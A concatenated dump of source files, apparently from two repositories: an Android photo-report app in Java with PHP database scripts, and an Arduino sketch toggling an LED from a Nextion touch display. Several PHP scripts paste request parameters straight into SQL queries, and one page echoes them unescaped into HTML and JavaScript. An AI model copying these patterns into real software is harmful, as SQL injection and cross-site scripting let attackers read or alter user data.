while (i < date.size()) {
String address = url + path.get(i);
System.out.println(address);
HttpURLConnection urlConnection = null;
try {
URL url = new URL(address);
// HttpURLConnection インスタンス生成
urlConnection = (HttpURLConnection) url.openConnection();
// タイムアウト設定
urlConnection.setReadTimeout(10000);
urlConnection.setConnectTimeout(20000);
// リクエストメソッド
urlConnection.setRequestMethod("GET");
// リダイレクトを自動で許可しない設定
urlConnection.setInstanceFollowRedirects(false);
// 接続
urlConnection.connect();
int resp = urlConnection.getResponseCode();
switch (resp) {
case HttpURLConnection.HTTP_OK:
try (InputStream ips = urlConnection.getInputStream()) {
bmp = BitmapFactory.decodeStream(ips);
bitmapArrayList.add(bmp);
ips.close();
} catch (IOException e) {
e.printStackTrace();
}
break;
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
break;
}
} catch (Exception e) {
Log.d("debug", "downloadImage error");
e.printStackTrace();
} finally {
if (urlConnection != null) {
urlConnection.disconnect();
}
}
i++;
}
return bitmapArrayList;
}
@Override
public void onPostExecute(ArrayList<Bitmap> bitmapArrayList) {
LinearLayout linearLayout_index = new LinearLayout(createReport.this);
linearLayout_index.setOrientation(LinearLayout.VERTICAL);
TextView title_projectName = new TextView(createReport.this);
title_projectName.setGravity(Gravity.CENTER);
title_projectName.setBackground(drawable1);
title_projectName.setText(projectName.get(0));
linearLayout_index.addView(title_projectName, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
TextView title_date = new TextView(createReport.this);
title_date.setGravity(Gravity.CENTER);
title_date.setBackground(drawable1);
final DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
final Date nowDate = new Date(System.currentTimeMillis());
title_date.setText(df.format(nowDate));
linearLayout_index.addView(title_date, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
TextView title_user = new TextView(createReport.this);
title_user.setGravity(Gravity.CENTER);
title_user.setBackground(drawable1);
title_user.setText(MainActivity.userId);
linearLayout_index.addView(title_user, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
while (j < date.size()) {
//super.onPostExecute(bitmap);
//レポート用のLinearLayout
LinearLayout linearLayout_Report = new LinearLayout(createReport.this);
//水平方向に設定
linearLayout_Report.setOrientation(LinearLayout.VERTICAL);
//Noを入力
TextView No = new TextView(createReport.this);
No.setText("No: " + String.valueOf(j + 1));
No.setGravity(Gravity.LEFT);
No.setBackground(drawable1);
linearLayout_Report.addView(No, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
//工事情報
//LinearLayout linearLayout_ReportInfo = new LinearLayout(createReport.this);
//linearLayout_ReportInfo.setOrientation(LinearLayout.VERTICAL);
TextView info1 = new TextView(createReport.this);
String infoDate = "撮影日: " + date.get(j);
info1.setText(infoDate);
info1.setGravity(Gravity.LEFT);
info1.setBackground(drawable2);
final TextView info2 = new TextView(createReport.this);
String infoFileName = "ファイル名:" + fileName.get(j);
info2.setText(infoFileName);
info2.setGravity(Gravity.LEFT);
info2.setBackground(drawable2);
TextView info3 = new TextView(createReport.this);
String infoUser = "撮影者:" + recorder.get(j);
info3.setText(infoUser);
info3.setGravity(Gravity.LEFT);
info3.setBackground(drawable2);
final EditText com1 = new EditText(createReport.this);
String hint = "コメントを入力する";
com1.setHint(hint);
//String infoCom = "コメント:" + comments.get(j);
//com1.setText(infocom);
com1.setGravity(Gravity.LEFT);
com1.setBackground(drawable2);
//com1.setInputType(InputType.TYPE_TEXT_FLAG_MULTI_LINE);
Button exe = new Button(createReport.this);
String text = "登録する";
exe.setText(text);
exe.setGravity(Gravity.CENTER);
exe.setPadding(0, 10, 0, 10);
exe.setBackground(drawable1);
//com1.setInputType(InputType.TYPE_TEXT_FLAG_MULTI_LINE);
exe.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View view){
String test1 = (String) info2.getText();
System.out.println(test1);
}
});
linearLayout_Report.addView(info1,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
linearLayout_Report.addView(info2,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
linearLayout_Report.addView(info3,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
linearLayout_Report.addView(com1,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.MATCH_PARENT));
linearLayout_Report.addView(exe,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
//工事情報の格納
/*linearLayout_Report.addView(linearLayout_ReportInfo,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.MATCH_PARENT, 5));
*/
//画像
//imagePath = "/sdcard/DCIM/Camera/001.JPG";
//Resources r = getResources();
//Bitmap bmp1 = BitmapFactory.decodeFile(imagePath);
ImageView pic = new ImageView(createReport.this);
//pic.setW
pic.setImageBitmap(bitmapArrayList.get(j));
//pic.setImageResource(R.drawable.);
pic.setBackground(drawable2);
pic.setPadding(0, 10, 0, 10);
//幅、高さ
linearLayout_Report.addView(pic,
new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
linearLayout_Main.addView(linearLayout_Report, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
j++;
}
Main.addView(linearLayout_Main, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT));
}
}
//正規表現でJSON形式から配列に当てはめる
private static void checkProjectName(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
String pName = m.group();
projectName.add(pName.substring(16, pName.length() - 2));
//System.out.println(m.group());
}
}
private static void checkDate(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
date.add(m.group().substring(9, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkRecorder(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
recorder.add(m.group().substring(13, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkFileName(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
fileName.add(m.group().substring(13, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkPath(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
path.add(m.group().substring(9, m.group().length() - 1));
//System.out.println(m.group());
}
}
private static void checkComments(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
comments.add(m.group().substring(13, m.group().length() - 1));
//System.out.println(m.group());
}
int count = 0;
while (count < comments.size()) {
if (comments.get(count).contains("[")) {
String rep = comments.get(count).replace("[", "");
comments.set(count, rep);
if (comments.get(count).contains("username")) {
String lace = comments.get(count).replace("username", "");
comments.set(count, lace);
}
count++;
}
}
}
}
<file_sep><?php
if(isset($_GET['com'])){
$no = $_GET['no'];
$name = $_GET['com'];
$add = $_GET['add'];
$tel = $_GET['tel'];
//会社IDを取得
require "conn.php";
$mysql_qry = "select * from companies_information_1 where companies_name = '$name' AND street_address = '$add' AND tel = '$tel';";
$result = mysqli_query($conn, $mysql_qry);
if(mysqli_num_rows($result) > 0){
$i = 0;
while($row = mysqli_fetch_assoc($result)){
$companies_id = $row['companies_id'];
$i++;
}
session_start();
$_SESSION['company_id'] = $companies_id;
}
}
/*
if(isset($_POST['change'])){
session_start();
$companies_id = $_SESSION['company_id'];
$p_com = $_POST["company_name"];
$p_add = $_POST["address"];
$p_tel = $_POST["tel"];
//print_r($p_com);
//print_r($p_add);
//print_r($p_tel);
require "conn.php";
$mysql_qry = "UPDATE companies_information_1 SET companies_name='$p_com', street_address='$p_add', tel='$p_tel' WHERE companies_id = '$companies_id' ;";
$result = mysqli_query($conn, $mysql_qry);
//echo "<script type='text/javascript'>window.close();</script>";
$name = "";
$add = "";
$tel = "";
}
*/
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>会社情報編集</title>
</head>
<body>
<h2>会社情報編集</h2>
<form action="c_edit_company_info.php" method="post">
<p>
会社名<input type = "text" name = "company_name" id = "i_com" value = "<?php echo $name; ?>"><br />
住所<input type ="text" name="address" id = "i_add" value = "<?php echo $add; ?>"><br />
電話番号<input type = "text" name="tel" id = "i_tel" value = "<?php echo $tel; ?>"><br />
</p>
<!--<p><input type="button" name="change" value="変更" onclick = change() /></p>-->
</form>
<p><input type="button" name="change" value="変更" onclick = change() /></p>
<script>
var no = <?php echo $no; ?>;
function change(){
//表示内容を親windowに反映
window.opener.document.getElementById("pro_info").rows[no].cells[1].innerHTML = document.getElementById("i_com").value;
window.opener.document.getElementById("pro_info").rows[no].cells[2].innerHTML = document.getElementById("i_add").value;
window.opener.document.getElementById("pro_info").rows[no].cells[3].innerHTML = document.getElementById("i_tel").value;
//変更内容をPOST
fd = new FormData();
//変更内容
fd.append('company_name',document.getElementById("i_com").value);
fd.append('address',document.getElementById("i_add").value);
fd.append('tel',document.getElementById("i_tel").value);
xhttpreq = new XMLHttpRequest();
xhttpreq.onreadystatechange = function() {
if (xhttpreq.readyState == 4 && xhttpreq.status == 200) {
alert(xhttpreq.responseText);
}
};
xhttpreq.open("POST", "update_company_info.php", true);
xhttpreq.addEventListener('load', (event) => {
window.close();
});
xhttpreq.send(fd);
}
</script>
</body>
</html>
<file_sep><?php
require "conn.php";
$pdf_id = $_POST["pdf_id"];
$report_place_name = $_POST["report_place_name"];
$page = $_POST["page"];
$point_x = $_POST["point_x"];
$point_y = $_POST["point_y"];
$sql = "INSERT INTO report_places_infomation_1 VALUES ('', '$pdf_id', '$report_place_name', '$page','$point_x','$point_y', '');";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Inserted";
}
else{
echo "Failed";
}
?><file_sep><?php
if(isset($_POST['company_name'])){
session_start();
$companies_id = $_SESSION['company_id'];
$p_com = $_POST["company_name"];
$p_add = $_POST["address"];
$p_tel = $_POST["tel"];
print_r($p_com);
print_r($p_add);
print_r($p_tel);
require "conn.php";
$mysql_qry = "UPDATE companies_information_1 SET companies_name='$p_com', street_address='$p_add', tel='$p_tel' WHERE companies_id = '$companies_id' ;";
$result = mysqli_query($conn, $mysql_qry);
//echo "<script type='text/javascript'>window.close();</script>";
}
?><file_sep><?php
require "conn.php";
$projects_name = $_POST["projects_name"];
$files_name = $_POST["files_name"];
$path = $_POST["path"];
$position = $_POST["position"];
$sql = "INSERT INTO pdf_information(projects_name, files_name, path, permission, remark) VALUES ('$projects_name', '$files_name', '$path', '$position', '')";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Inserted";
}
else{
echo "Failed";
}
?><file_sep>package com.example.pdfview;
import android.app.Dialog;
import android.content.DialogInterface;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AlertDialog;
import androidx.fragment.app.DialogFragment;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class dialogFragmentDate extends DialogFragment {
public static String user = "user1";
public static ArrayList<String> date = new ArrayList<>();
private String resultForGetDate;
private String allUserUrl = "http://10.20.170.52/sample/sample1.php";
private String userUrl = "http://10.20.170.52/sample/sample1_selectUser.php";
@Override
public Dialog onCreateDialog(Bundle savedInstanceState) {
String accessUrl = allUserUrl;
if (dialogFragment.createReportVer == 1) {
accessUrl = userUrl;
}
setDate st = new setDate();
st.execute(accessUrl);
final ArrayList<String> array = new ArrayList<>();
array.add("sample1");
array.add("sample1");
array.add("sample1");
String[] arrays = date.toArray(new String[array.size()]);
//final String[] items2 = {array.get(0), array.get(1), array.get(2)};
final String[] items = {"item_0", "item_1", "item_2"};
final ArrayList<Integer> checkedItems = new ArrayList<Integer>();
return new AlertDialog.Builder(getActivity())
.setTitle("Selector")
.setMultiChoiceItems(arrays, null, new DialogInterface.OnMultiChoiceClickListener() {
@Override
public void onClick(DialogInterface dialog, int which, boolean isChecked) {
if (isChecked) checkedItems.add(which);
else checkedItems.remove((Integer) which);
}
})
.setPositiveButton("OK", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
for (Integer i : checkedItems) {
// item_i checked
}
}
})
.setNegativeButton("Cancel", null)
.show();
}
private static void checkDate(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
date.add(m.group().substring(9, m.group().length() - 2));
//System.out.println(m.group());
}
}
private class setDate extends AsyncTask<String, Void, String> {
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
public String doInBackground(String... params) {
//http接続を行うHttpURLConnectionオブジェクトを宣言
//finallyで解放するためにtry外で宣言
HttpURLConnection con = null;
//http接続のレスポンスデータとして取得するInputStreamオブジェクトを宣言(try外)
InputStream is = null;
//返却用の変数
StringBuffer conResult = new StringBuffer();
//http接続
try {
//URLオブジェクト作成
URL url = new URL(params[0]);
//System.out.println(url);
//URLオブジェクトからHttpURLConnectionオブジェクトを取得
con = (HttpURLConnection) url.openConnection();
//HTTP接続メソッドを設定
con.setRequestMethod("GET");
//接続
con.connect();
final int httpStatus = con.getResponseCode();
System.out.println(httpStatus);
//HttpURLConnectionオブジェクトからレスポンスデータの取得
is = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
final InputStreamReader inReader = new InputStreamReader(is, encoding);
final BufferedReader bufReader = new BufferedReader(inReader);
String line = bufReader.readLine();
//1行ずつ読み込み
while (line != null) {
conResult.append(line);
line = bufReader.readLine();
}
bufReader.close();
inReader.close();
is.close();
} catch (MalformedURLException ex) {
} catch (IOException ex) {
} finally {
//HttpURLConnectionオブジェクトがnull出ないならば解散
if (con != null) {
con.disconnect();
}
//InputStreamオブジェクトがnull出ないならば解散
if (is != null) {
try {
is.close();
} catch (IOException ex) {
}
}
}
return conResult.toString();
}
@Override
public void onPostExecute(String res) {
//事前情報の取得
String regex_date = "\"date\":.+?\",";
Pattern p_date = Pattern.compile(regex_date);
checkDate(p_date, resultForGetDate.toString());
}
}
}
<file_sep><?php
require "conn.php";
$pictures_name = $_POST["pictures_name"];
$pdf_id = $_POST["pdf_id"];
$users_id = $_POST["users_id"];
$report_place_id = $_POST["report_place_id"];
$page = $_POST["page"];
$date = $_POST["date"];
$path = $_POST["path"];
$sql = "INSERT INTO pictures_information_1 VALUES ('', '$pictures_name', '$pdf_id', '$users_id', '$report_place_id', '$page','$date','$path', '');";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Inserted";
}
else{
echo "Failed";
}
?><file_sep><?php
require "conn.php";
$owner_code = $_POST["owner"];
$mysql_qry = "select * from owner where owner_code = '$owner_code';";
$result = mysqli_query($conn, $mysql_qry);
if(mysqli_num_rows($result) > 0){
while($row = mysqli_fetch_assoc($result)){
$connection = $row['connection'];
}
echo $connection;
}
else{
echo "login not success";
}
?><file_sep>package com.example.pdfview;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
public class selectReportType extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_select_report_type);
//ラジオグループの
}
public void startCreateReport(View view){
Intent intent = new Intent(this, createReport.class);
startActivity(intent);
}
}
<file_sep><?php
require "conn.php";
$files_name = $_POST["files_name"];
$users_name = $_POST["users_name"];
$projects_name = $_POST["projects_name"];
$page = $_POST["page"];
$point_x = $_POST["point_x"];
$point_y = $_POST["point_y"];
$date = $_POST["date"];
$path = $_POST["path"];
$sql = "INSERT INTO local_pictures_information VALUES ('', '$files_name', '$users_name', '$projects_name', '$page','$point_x','$point_y','$date','$path', '', '', '');";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Inserted";
}
else{
echo "Failed";
}
?><file_sep>package com.example.pdfview;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Context;
import android.content.Intent;
import android.graphics.Point;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity {
//管理企業ID検索結果
public static String connection = "";
//ログイン結果
public static String loginResult = "";
//管理会社ID、ユーザーID、パスワードの入力欄
EditText UserIdEt, PasswordEt, HostEt;
//ログイン処理用の変数
//管理会社ID、ユーザーID、パスワード
protected static String host; //画面遷移パラメータ
public static String userId; //画面遷移パラメータ
String password;
//画面遷移パラメータ
public static String companyId; //会社ID
public static String usersId;
public static String flag;
public static String usersName;
public static ArrayList<String> projectsNum;
String regex_users_id = "\"id\":.+?\",";
String regex_users_name = "\"users_name\":.+?\",";
String regex_projects_id = "\"projects_id\":.+?\",";
String regex_companies_id = "\"companies_id\":.+?\",";
String regex_flag = "\"flag\":.+?\",";
@Override
protected void onCreate(Bundle savedInstanceState) {
//画面遷移時の処理
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//入力欄の定義
HostEt = (EditText)findViewById(R.id.editHost);
UserIdEt = (EditText)findViewById(R.id.editUserName);
PasswordEt = (EditText)findViewById(R.id.editPass);
flag = "1";
}
//ログインボタン押下時の処理
public void loginClick(View view){
//入力欄の情報を入手
userId = UserIdEt.getText().toString();
password = PasswordEt.getText().toString();
host = HostEt.getText().toString();
String type = "login";
BackgroundWorker backgroundWorker = new BackgroundWorker(this);
backgroundWorker.execute(host, userId, password);
}
//非同期のログイン処理
public class BackgroundWorker extends AsyncTask<String, Void, String> {
Context context;
AlertDialog alertDialog;
BackgroundWorker(Context ctx) {
context = ctx;
}
@Override
protected String doInBackground(String... params) {
//param[0]:管理会社ID、[1]:ユーザーID、[2]:パスワード
//管理会社ID確認
String localHostUrl = "http://10.20.170.52/preLogin.php";
HttpURLConnection httpURLConnection = null;
try {
URL url = new URL(localHostUrl);
httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("owner", "UTF-8") + "=" + URLEncoder.encode(host, "UTF-8");
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = httpURLConnection.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "iso-8859-1"));
String line = "";
while ((line = bufferedReader.readLine()) != null) {
connection += line;
}
bufferedReader.close();
inputStream.close();
httpURLConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(connection);
if (!connection.equals("")) {
/*
//企業IDを取得
localHostUrl = "http://10.20.170.52/sample/get_company_id.php";
httpURLConnection = null;
StringBuffer _conResult = new StringBuffer();
try {
System.out.println("usersID.php");
URL url = new URL(localHostUrl);
httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("name", "UTF-8")
+ "=" + URLEncoder.encode(userId, "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = httpURLConnection.getInputStream();
String encoding = httpURLConnection.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
_conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
httpURLConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//JSONからデータの取得
System.out.println(_conResult.toString());
Pattern p_usersId = Pattern.compile(regex_users_id);
checkUsersId(p_usersId, _conResult.toString());
System.out.println(usersId);
Pattern p_companyId = Pattern.compile(regex_companies_id);
checkCompanyId(p_companyId, _conResult.toString());
System.out.println(companyId);
Pattern p_flag = Pattern.compile(regex_flag);
checkFlag(p_flag, _conResult.toString());
System.out.println(flag);
Pattern p_users_name = Pattern.compile(regex_users_name);
checkUsersName(p_users_name, _conResult.toString());
System.out.println(flag);
//companyIdから参加プロジェクトを取得
localHostUrl = "http://10.20.170.52/sample/get_assign_projects_id.php";
httpURLConnection = null;
_conResult = new StringBuffer();
try {
System.out.println("projectsID.php");
URL url = new URL(localHostUrl);
httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("companies_id", "UTF-8")
+ "=" + URLEncoder.encode(companyId, "UTF-8")
/*+ "&" + URLEncoder.encode("users_id", "UTF-8")
+ "=" + URLEncoder.encode(String.valueOf(usersId), "UTF-8")*/;
/*System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = httpURLConnection.getInputStream();
String encoding = httpURLConnection.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
_conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
httpURLConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//JSONからデータの取得
System.out.println(_conResult.toString());
Pattern p_projectsId = Pattern.compile(regex_projects_id);
checkProjectsId(p_projectsId, _conResult.toString());
System.out.println(projectsNum);
*/
//ログイン処理
loginResult = "";
localHostUrl = "http://10.20.170.52/login.php";
httpURLConnection = null;
try {
String user_name = params[1];
String pass_word = params[2];
URL url = new URL(localHostUrl);
httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("user_name", "UTF-8") + "=" + URLEncoder.encode(user_name, "UTF-8") + "&" + URLEncoder.encode("password", "<PASSWORD>") + "=" + URLEncoder.encode(pass_word, "UTF-8");
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = httpURLConnection.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "iso-8859-1"));
String line = "";
while ((line = bufferedReader.readLine()) != null) {
loginResult += line;
}
bufferedReader.close();
inputStream.close();
httpURLConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(loginResult);
//return loginResult;
}
//}
return loginResult;
}
@Override
protected void onPostExecute(String result){
Toast.makeText(MainActivity.this, result, Toast.LENGTH_LONG).show();
//alertDialog.setMessage("result");
//alertDialog.show();
if(result.equals("login success!")) {
Intent intent = new Intent(MainActivity.this, MyPage.class);
//intent.putExtra("flag", flag);
startActivity(intent);
}else{
}
result = "";
}
}
@Override
public void onWindowFocusChanged(boolean hasFocus){
super.onWindowFocusChanged(hasFocus);
LinearLayout r = findViewById(R.id.test1);
Point view = getViewSize(r);
StringBuilder text = new StringBuilder();
text.append("ViewSize → X:" + view.x + " Y:" + view.y);
//text.append("\nDisplaySize → X:" + disp.x + " Y:" + disp.y);
//text.append("\nHardwareSize → X:" + real.x + " Y:" + real.y);
System.out.println(text);
//dipSize.setText(text.toString());
}
public static Point getViewSize(View View){
Point point = new Point(0, 0);
point.set(View.getWidth(), View.getHeight());
return point;
}
public void testClick(View view){
String projects_name = "sample1";
String delete = "1598935107684.jpg";
BackgroundWorker backgroundWorker = new BackgroundWorker(this);
backgroundWorker.execute(projects_name, delete);
}
private static void checkUsersId(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
usersId = (pName.substring(7, pName.length() - 2));
System.out.println(m.group());
}
}
private static void checkCompanyId(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
companyId = (pName.substring(17, pName.length() - 2));
System.out.println(m.group());
}
}
private static void checkProjectsId(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
projectsNum = new ArrayList<String>();
projectsNum.add(pName.substring(16, pName.length() - 2));
System.out.println(m.group());
}
}
private static void checkFlag(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
flag = (pName.substring(9, pName.length() - 2));
System.out.println(m.group());
}
}
private static void checkUsersName(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
usersName = (pName.substring(15, pName.length() - 2));
System.out.println(m.group());
}
}
}
| 12c5f12a90d268ff07840e24c63d3712b954462f | [
"Java",
"PHP"
] | 23 | PHP | tgtaku/1029 | 79b3cbae3f80350674109a3c5443d4646cea43e6 | b60cacf069d638f025faea372c4a25d50668a0c0 |
refs/heads/master | <repo_name>yongkangchen/luvit<file_sep>/tests/test-pipe.lua
--[[
Copyright 2012 The Luvit Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--]]
require("helper")
local path = require('path')
local fs = require('fs')
local tmp_file = path.join(__dirname, 'tmp', 'test_pipe')
fs.writeFileSync(tmp_file, "")
local file_path = path.join(__dirname, 'test-pipe.lua')
local fp = fs.createReadStream(file_path)
local null = fs.createWriteStream(tmp_file)
fp:pipe(null)
assert(true)
| 07c1eb124707f12143f75ad8bf532459bfcf8109 | [
"Lua"
] | 1 | Lua | yongkangchen/luvit | c213f5e3e43fe891b4393983828dae2758b01eac | 4fa98c4cf5532903288d251ec95703072da5df83 |
refs/heads/master | <file_sep># Nextion_Arduino_Boton
Ejemplo simple para una pantalla Nextion 400 x 240 pixeles.
El ejemplo solo pretende encender/apagar un led conectado a una placa Arduino Nano y también recibir la lectura del valor de voltaje de un potenciómetro conectado en A0.
La pantalla bajo prueba es una NX4024K032.
(Material del curso "Programación para Arduino")
www.firtec.com.ar
<file_sep>
/**********************************************************************
** Descripción : Ejemplo simple para una pantalla NEXUS NX4024K032
** 400 x 240 pixeles
**
** Target : Arduino Nano
** ToolChain : Arduino IDE 1.8.10 bajo Linux Debian
** www.firtec.com.ar
**********************************************************************/
int val =0; //variable para mandar por el puerto serial
#define led 2
bool bandera = false; // Bandera para saber si hay que apagar o encender el LED
void setup() {
Serial.begin(9600);
pinMode(led, OUTPUT);
}
void loop() {
byte array[16]; // Arreglo para recibir datos desde la UART
while (Serial.available() > 0) {
for (int i = 1 ; i < 16; i++) { // Solo son necesarios en este ejemplo los datos del 1 al 7
array[i] = Serial.read(); // La pantalla enviará 7 bytes donde los bytes 2,3 y 4 son los que interesan
delay(20);
}
/*-----------------------------------------------------------------------------------------------
Estructura del mensaje enviado por NEXUS:
65 00 05 01 FF FF FF
| | | | |__|__| > Fin de TX
| | | Evento
| | Componente
| Página
Todo OK
-------------------------------------------------------------------------------------------------*/
array[16] = '\0';
byte error = array[1];
byte pagina = array[2]; // Página desde donde llega la información desde la pantalla
byte componente = array[3]; // Identificación del componente que ha enviado la información desde la pantalla
byte eventopres = array[4]; // Evento del componente que se ha enviado
byte dato1 = array[5]; // Comando de fin de envío
byte dato2 = array[6]; // Comando de fin de envío
byte dato3 = array[7]; // Comando de fin de envío
delay(5);
if (pagina == 0 && componente == 5 && bandera == false ) { // Evento de la pagina 0 y el componente 5(el unico boton de esa pagina)
digitalWrite(led, HIGH); // LED encendido
bandera = true; // Bandera pasa a true para saber si en proximo evento enciede o apaga
componente = 0; // Componente es puesto a cero
delay(5);
}
if (pagina == 0 && componente == 5 && bandera == true) { // Nuevo evento del boton y relación con bandera.
digitalWrite(led, LOW); // LED apagado
bandera = false;
delay(5);
}
}
